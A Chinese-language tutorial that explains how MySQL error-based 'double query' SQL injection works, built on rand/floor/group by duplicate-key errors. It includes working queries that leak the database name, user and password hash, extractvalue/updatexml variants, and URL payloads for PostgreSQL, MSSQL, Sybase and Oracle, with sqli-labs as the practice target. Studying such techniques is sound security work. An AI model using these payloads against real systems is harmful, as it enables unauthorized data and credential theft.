Mysql中Double Injection原理浅析
0x00 什么是Double Injection
这个定义是我自己下的,读起来很拗口。如果不能理解这个定义请先暂时跳过:
Double Injection(双查询注入)是一种利用Mysql在按含rand函数的列分组(group by)并计数(count)的情况下创建临时表后,查询临时表中分组键(group_by)是否存在和向临时表插入新行时均计算rand函数返回值的特性,通过巧妙地构造SQL语句,将有用信息显示在SQL报错信息中的SQL注入技术。
在SQL注入中有时会遇到这样的情况:若SQL语句正确,则页面正常返回,但返回的页面中不包含任何有用的信息,而当SQL语句错误时,页面会显示SQL错误信息。在这种情况下,Double Injection是十分有用的。
0x01 Double Injection的原理
0. concat函数
在Mysql中,concat函数用于拼接字符串,如:
mysql> select concat('1', '<-');
+-------------------+
| concat('1', '<-') |
+-------------------+
| 1<- |
+-------------------+
1 row in set (0.00 sec)
也可以拼接查询结果,如:
mysql> select concat('->', (select database()), '<-');
+-----------------------------------------+
| concat('->', (select database()), '<-') |
+-----------------------------------------+
| ->information_schema<- |
+-----------------------------------------+
1 row in set (0.00 sec)
1. rand函数
在Mysql中,rand函数用于返回一个0到1之间的随机数,包含0不包含1,用高数的表示方法便是:[0, 1)。如:
mysql> select rand();
+-------------------+
| rand() |
+-------------------+
| 0.847016541144826 |
+-------------------+
1 row in set (0.00 sec)
mysql> select rand();
+------------------+
| rand() |
+------------------+
| 0.08670779791354 |
+------------------+
1 row in set (0.00 sec)
rand函数接受一个整数参数作为随机数的种子。当种子固定时,产生的随机数(随机数列)也是固定的。如:
mysql> select rand(0);
+-------------------+
| rand(0) |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+-------------------+
| rand(0) |
+-------------------+
| 0.155220427694936 |
+-------------------+
1 row in set (0.00 sec)
上面的例子是产生的随机数固定,下面的例子是产生的随机数数列固定:
mysql> select rand(0) from information_schema.columns limit 3;
+-------------------+
| rand(0) |
+-------------------+
| 0.155220427694936 |
| 0.620881741513388 |
| 0.638747455215778 |
+-------------------+
3 rows in set (0.01 sec)
mysql> select rand(0) from information_schema.columns limit 3;
+-------------------+
| rand(0) |
+-------------------+
| 0.155220427694936 |
| 0.620881741513388 |
| 0.638747455215778 |
+-------------------+
3 rows in set (0.01 sec)
information_schema是系统模式,所有Mysql数据库中都会有这个模式,columns是其中的一个表,记录了所有数据表的列信息。这里只是随便举一个随机数列的例子,如果你不明白information_schema.columns也不要紧,只要知道是从某个有很多行的表中查询数据就可以了。
2. floor函数
Mysql中floor函数是取下整函数,接受一个float型参数,返回小于等于输入参数的最大整数。如:
mysql> select floor(1.4);
+------------+
| floor(1.4) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(1.0);
+------------+
| floor(1.0) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(0.4);
+------------+
| floor(0.4) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
3. 产生随机整数
在Double Injection中我们会综合利用rand函数和floor函数产生范围为[0, 1]的整数随机数,如:
mysql> select floor(rand(14)*2) from information_schema.columns limit 5;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
+-------------------+
5 rows in set (0.00 sec)
以14作为rand函数的参数,以使每次产生的随机数列相同。rand(14)乘了2,将产生的随机数范围放大到了[0, 2),最后floor函数的作用是将结果限定在0和1这两个整数之中。
以14为随机数种子时产生的随机整数数列的前四位为:
1,0,1,0
这是特意选择的,详见后文。
4. count函数
在Mysql中,count函数用于计数,通常用于统计行数。如:
mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
| 546 |
+----------+
1 row in set (0.02 sec)
5. group by语句
group by column_name表示用column_name列对查询结果进行分组。下面是某个SQL语句没有分组时的输出:
mysql> select table_schema, table_name from information_schema.tables;
+--------------------+---------------------------------------+
| table_schema | table_name |
+--------------------+---------------------------------------+
| information_schema | CHARACTER_SETS |
| information_schema | COLLATIONS |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| information_schema | COLUMNS |
| information_schema | COLUMN_PRIVILEGES |
| information_schema | ENGINES |
| information_schema | EVENTS |
| information_schema | FILES |
| information_schema | GLOBAL_STATUS |
| information_schema | GLOBAL_VARIABLES |
| information_schema | KEY_COLUMN_USAGE |
| information_schema | PARTITIONS |
| information_schema | PLUGINS |
| information_schema | PROCESSLIST |
| information_schema | PROFILING |
| information_schema | REFERENTIAL_CONSTRAINTS |
| information_schema | ROUTINES |
| information_schema | SCHEMATA |
| information_schema | SCHEMA_PRIVILEGES |
| information_schema | SESSION_STATUS |
| information_schema | SESSION_VARIABLES |
| information_schema | STATISTICS |
| information_schema | TABLES |
| information_schema | TABLE_CONSTRAINTS |
| information_schema | TABLE_PRIVILEGES |
| information_schema | TRIGGERS |
| information_schema | USER_PRIVILEGES |
| information_schema | VIEWS |
| challenges | 62S77J251S |
| my_test | user |
| mysql | columns_priv |
| mysql | db |
| mysql | event |
| mysql | func |
| mysql | general_log |
| mysql | help_category |
| mysql | help_keyword |
| mysql | help_relation |
| mysql | help_topic |
| mysql | host |
| mysql | ndb_binlog_index |
| mysql | plugin |
| mysql | proc |
| mysql | procs_priv |
| mysql | servers |
| mysql | slow_log |
| mysql | tables_priv |
| mysql | time_zone |
| mysql | time_zone_leap_second |
| mysql | time_zone_name |
| mysql | time_zone_transition |
| mysql | time_zone_transition_type |
| mysql | user |
| security | emails |
| security | referers |
| security | uagents |
| security | users |
+--------------------+---------------------------------------+
57 rows in set (0.00 sec)
下面时加上group by table_schema后的输出:
mysql> select table_schema, table_name from information_schema.tables group by table_schema;
+--------------------+----------------+
| table_schema | table_name |
+--------------------+----------------+
| challenges | 62S77J251S |
| information_schema | CHARACTER_SETS |
| mysql | columns_priv |
| my_test | user |
| security | emails |
+--------------------+----------------+
5 rows in set (0.00 sec)
可以看到输出有了很大不同,只显示了不重复的table_schema,而table_name则只显示了同样table_schema中的第一个。
6. count 和 group by
count和group by常常配合使用,例如下面的例子显示了如何统计各个模式中各有多少个数据表:
mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
+--------------------+----------+
| table_schema | count(*) |
+--------------------+----------+
| challenges | 1 |
| information_schema | 28 |
| mysql | 23 |
| my_test | 1 |
| security | 4 |
+--------------------+----------+
5 rows in set (0.00 sec)
我们猜测在做这样的统计时,Mysql会建立一张临时表,有group_key和tally两个字段,其中group_key设置了UNIQUE约束,即不能有两行的group_key列的值相同。
开始时临时表为空。Mysql逐行扫描information_schema.tables表,遇到的第一个分组列(table_schema)值为information_schema,便去查询临时表中是否有group_key为information_schema的行,发现没有,便在临时表中新增一行,group_key为information_schema,tally为1。临时表现在成了:
+--------------------+-------+
| group_key | tally |
+--------------------+-------+
| information_schema | 1 |
+--------------------+-------+
Mysql继续扫描information_schema.tables表,遇到的第二个分组列(table_schema)的值还是information_schema,去查询临时表中是否有group_key为information_schema的行,发现有,于是将该行的tally加1。临时表变成了:
+--------------------+-------+
| group_key | tally |
+--------------------+-------+
| information_schema | 2 |
+--------------------+-------+
Mysql继续扫描information_schema.tables表。省略一些中间过程,我们假设这次遇到的分组列(table_schema)的值是challenges,去查询临时表中是否有group_key为challenges的行,发现没有,便在临时表中新增一行,group_key为challenges,tally为1。临时表现在成了:
+--------------------+-------+
| group_key | tally |
+--------------------+-------+
| information_schema | 28 |
| challenges | 1 |
+--------------------+-------+
重复这个过程,直到Mysql扫描完information_schema.tables表,临时表变就成了:
+--------------------+-------+
| group_key | tally |
+--------------------+-------+
| information_schema | 28 |
| challenges | 1 |
| mysql | 23 |
| my_test | 1 |
| security | 4 |
+--------------------+-------+
此时也就统计出了各个模式有多少数据表。
7. group by 的列含 rand 函数
现在来看看Double Injection的核心。先观察如下的SQL语句及执行结果:
mysql> select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry '0' for key 'group_key'
上面的SQL语句中用列c分组,而列c是floor(rand(14)*2)的别名。
先回顾一下floor(rand(14)*2)产生的随机数列,前四位是:
1,0,1,0
然后我们来研究一下为何会报错。
在SQL语句中有count和group by,Mysql同样会先创建一张临时表,有设置了UNIQUE约束的group_key和tally两个字段。
创建好临时表后,Mysql开始逐行扫描information_schema.columns表,遇到的第一个分组列是floor(rand(14)*2),计算出其值为1,便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),注意此时又计算了一次,结果为0。所以实际插入到临时表的一行group_key为0,tally为1,临时表变成了:
+--------------------+-------+
| group_key | tally |
+--------------------+-------+
| 0 | 1 |
+--------------------+-------+
Mysql继续扫描information_schema.columns表,遇到的第二个分组列还是floor(rand(14)*2),计算出其值为1(这个1是随机数列的第三个数),便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)*2),此时又计算了一次,结果为0(这个0是随机数列的第四个数),所以尝试向临时表插入一行数据,group_key为0,tally为1。但实际上临时表中已经有一行的group_key为0,而group_key又设置了不可重复的约束,所以报错:
ERROR 1062 (23000): Duplicate entry '0' for key 'group_key'
8. Double Injection
其实到这里我们已经完成了所有准备工作。只需要使用concat函数将想要查询的信息和floor(rand(14)*2)拼接在一起就可以了。如获取当前数据库:
mysql> select concat((select database()), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry 'information_schema0' for key 'group_key'
注意我们想要的信息在错误信息中。
再比如读Mysql数据库用户名:
mysql> select concat((select user from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry 'root0' for key 'group_key'
读Mysql数据库密码:
mysql> select concat((select password from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
ERROR 1062 (23000): Duplicate entry '*9CFBBC772F3F6C106020035386DA5BBBF1249A110' for key 'group_key'
0x02 几点说明
0. 随机数种子非得是14吗?
不一定。当随机数种子是14时,有两列就可以触发错误。而当随机数种子是0时,最少需要3列才会触发错误,因为它产生的随机数列是:
mysql> select floor(rand(0)*2) from information_schema.column
s limit 6;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.01 sec)
甚至可以不指定随机数种子,只要列数足够多,就一定会触发错误。
1. 为何要从information_schema.columns表读数据?
因为这个表总是存在的而且总是有很多很多列,这确保了一定能触发错误。
2. 这种注入为何要叫做Double Injection?
我没有找到相关资料。但观察一下Double Injection,有两个select,不是吗?
select concat((select user from mysql.user limit 1), floor(rand(14)*2)) c, count(*) from information_schema.columns group by c;
3. 哪里有Double Injection的实例?
Sqlilab的第五关和第六关。
4. 双重查询中没有可查的表怎么办?
自己构造一个表。如下:
mysql> select count(*) from (select 1 union select 2) temp group by concat(floor(rand(14)*2), (select user()));
ERROR 1062 (23000): Duplicate entry '0root@localhost' for key 'group_key'
5. 为何Mysql在查询临时表和插入临时表时要计算两次rand?
这是Mysql的一个BUG,其他数据库没有这个BUG,自然也就不能这么注入。
6. 利用这一BUG的注入还有其他写法吗?
第一种:
mysql> select count(*) from information_schema.columns group by concat(floor(rand(14)*2), (select user()));
ERROR 1062 (23000): Duplicate entry '0root@localhost' for key 'group_key'
第二种:
mysql> select min(@a:=1) from information_schema.columns group by concat((select user()), @a:=(@a+1)%2);
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'
7.还有其他函数可以引发这样的报错吗?
extractvalue
Mysql5.1引入了该函数。该函数用于从XML中提取值,接收两个参数,第一个参数是一个XML格式的字符串,第二个参数是有效的xPath,如:
mysql> select extractvalue('<a>123</a><b>456</b>', '/b');
+--------------------------------------------+
| extractvalue('<a>123</a><b>456</b>', '/b') |
+--------------------------------------------+
| 456 |
+--------------------------------------------+
1 row in set (0.00 sec)
mysql> select extractvalue('<a>123</a><b>456</b>', '/a');
+--------------------------------------------+
| extractvalue('<a>123</a><b>456</b>', '/a') |
+--------------------------------------------+
| 123 |
+--------------------------------------------+
1 row in set (0.00 sec)
但第二个参数不是有效的xPath时就会报错,如:
mysql> select extractvalue(0, concat(0x5C, (select user())));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
updatexml
该函数同样在Mysql5.1中引入,作用是更新XML中特定节点的值,第一个参数为XML格式的字符串,第二个参数为xPath,第三个参数为要更新的值,如:
mysql> select updatexml('<a>123</a><b>456</b>', '/a/initial' , '789');
+---------------------------------------------------------+
| updatexml('<a>123</a><b>456</b>', '/a/initial' , '789') |
+---------------------------------------------------------+
| <a>123</a><b>456</b> |
+---------------------------------------------------------+
1 row in set (0.00 sec)
同样当第二个参数不是有效的xPath时就会报错,如:
mysql> select updatexml(1,concat(0x5C,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
8. 其他数据库有办法实现类似的注入效果吗?
来自参考文献2:
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--